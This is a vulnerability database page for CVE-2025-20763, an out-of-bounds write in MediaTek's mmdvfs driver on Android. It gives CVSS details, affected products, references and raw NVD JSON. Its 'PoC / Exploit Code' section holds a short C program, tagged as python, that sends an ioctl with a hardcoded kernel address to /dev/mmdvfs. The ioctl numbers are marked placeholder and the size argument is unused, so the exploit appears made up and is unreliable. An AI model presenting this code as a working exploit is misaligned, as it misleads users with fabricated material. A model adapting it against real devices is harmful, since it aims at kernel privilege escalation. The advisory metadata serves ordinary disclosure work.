CVE-2025-20763

Description

In mmdvfs, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS10267218; Issue ID: MSV-5032.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:mediatek:mt6835:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:mediatek:mt6855:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:mediatek:mt6877:-:*:*:*:*:*:*:* - NOT VULNERABLE

MediaTek Android devices with vulnerable mmdvfs driver versions

Products using MediaTek chipsets with ALPS10267218 patch not applied

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>

// MediaTek mmdvfs IOCTL definitions (placeholder)
#define MMDVFS_IOCTL_BASE 0xB8
#define MMDVFS_SET_FREQ _IOW(MMDVFS_IOCTL_BASE, 0, int)
#define MMDVFS_SET_LIMIT _IOW(MMDVFS_IOCTL_BASE, 1, int)

// Trigger the out-of-bounds write vulnerability
int trigger_mmdvfs_oob_write(int fd, unsigned long user_addr, size_t size) {
    // This would trigger the vulnerability without proper bounds checking
    return ioctl(fd, MMDVFS_SET_LIMIT, user_addr);
}

int main() {
    printf("CVE-2025-20763 MediaTek mmdvfs PoC\n");
    printf("Note: Requires system-level access to exploit\n");
    
    int fd = open("/dev/mmdvfs", O_RDWR);
    if (fd < 0) {
        printf("[-] Failed to open mmdvfs device\n");
        return -1;
    }
    
    printf("[+] Device opened successfully\n");
    printf("[*] Triggering OOB write via MMDVFS_SET_LIMIT ioctl\n");
    
    // Malicious payload - triggers OOB write
    unsigned long malicious_addr = 0xFFFFFFE000000000;  // Kernel address
    trigger_mmdvfs_oob_write(fd, malicious_addr, 0x1000);
    
    close(fd);
    printf("[+] Exploitation attempt completed\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-20763
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-20763
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-20763/
[4] VulDB https://vuldb.com/cve/CVE-2025-20763
[5] https://corp.mediatek.com/product-security-bulletin/December-2025

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-20763", "sourceIdentifier": "[email protected]", "published": "2025-12-02T03:16:17.467", "lastModified": "2025-12-03T21:14:52.603", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In mmdvfs, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS10267218; Issue ID: MSV-5032."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:*", "matchCriteriaId": "9814939B-F05E-4870-90C0-7C0F6BAAEB39"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6835:-:*:*:*:*:*:*:*", "matchCriteriaId": "19A63103-C708-48EC-B44D-5E465A6B79C5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:*", "matchCriteriaId": "366F1912-756B-443E-9962-224937DD7DFB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855:-:*:*:*:*:*:*:*", "matchCriteriaId": "89AFEE24-7AAD-4EDB-8C3E-EDBA3240730A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877:-:*:*:*:*:*:*:*", "matchCriteriaId": "7CA9352F-E9BD-4656-9B7C-4AFEE2C78E58"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6878:-:*:*:*:*:*:*:*", "matchCriteriaId": "855A8046-34ED-4891-ACE5-76AB10AC8D53"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6879:-:*:*:*:*:*:*:*", "matchCriteriaId": "704BE5CE-AE08-4432-A8B0-4C8BD62148AD"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6883:-:*:*:*:*:*:*:*", "matchCriteriaId": "15E2EC3F-9FB3-488B-B1C1-2793A416C755"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6885:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD64413C-C774-4C4F-9551-89E1AA9469EE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6886:-:*:*:*:*:*:*:*", "matchCriteriaId": "AF3E2B84-DAFE-4E11-B23B-026F719475F5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6889:-:*:*:*:*:*:*:*", "matchCriteriaId": "3B787DC3-8E5A-4968-B20B-37B6257FAAE2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6893:-:*:*:*:*:*:*:*", "matchCriteriaId": "213B5C7F-D965-4312-9CDF-4F06FA77D401"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6895:-:*:*:*:*:*:*:*", "matchCriteriaId": "E0CA45C9-7BFE-4C93-B2AF-B86501F763AB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6897:-:*:*:*:*:*:*:*", "matchCriteriaId": "2A7D8055-F4B6-41EE-A078-11D56285AB66"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6899:-:*:*:*:*:*:*:*", "matchCriteriaId": "C6E9F80F-9AC9-41E0-BB14-9DB6F14B62CD"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6983:-:*:*:*:*:*:*:*", "matchCriteriaId": "EB6B9A26-F8A1-4322-AA4E-CDF8F7D99000"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6985:-:*:*:*:*:*:*:*", "matchCriteriaId": "EA72CCD1-DEA2-48EB-8781-04CFDD41AAEE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6989:-:*:*:*:*:*:*:*", "matchCriteriaId": "AD7DE6B2-66D9-4A3E-B15F-D56505559255"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6991:-:*:*:*:*:*:*:*", "matchCriteriaId": "CBBB30DF-E963-4940-B742-F6801F68C3FC"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8196:-:*:*:*:*:*:*:*", "matchCriteriaId": "FB0C4D80-28BC-4C4D-B522-AD9EC5222A2E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8676:-:*:*:*:*:*:*:*", "matchCriteriaId": "EE302F6F-170E-4350-A8F4-65BE0C50CB78"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8678:-:*:*:*:*:*:*:*", "matchCriteriaId": "152A5F3D-8004-4649-BDB1-E6F0798AF1CB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8792:-:*:*:*:*:*:*:*", "matchCriteriaId": "336FC69E-E89F-4642-B6B9-8009D9A2BD52"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8793 ... 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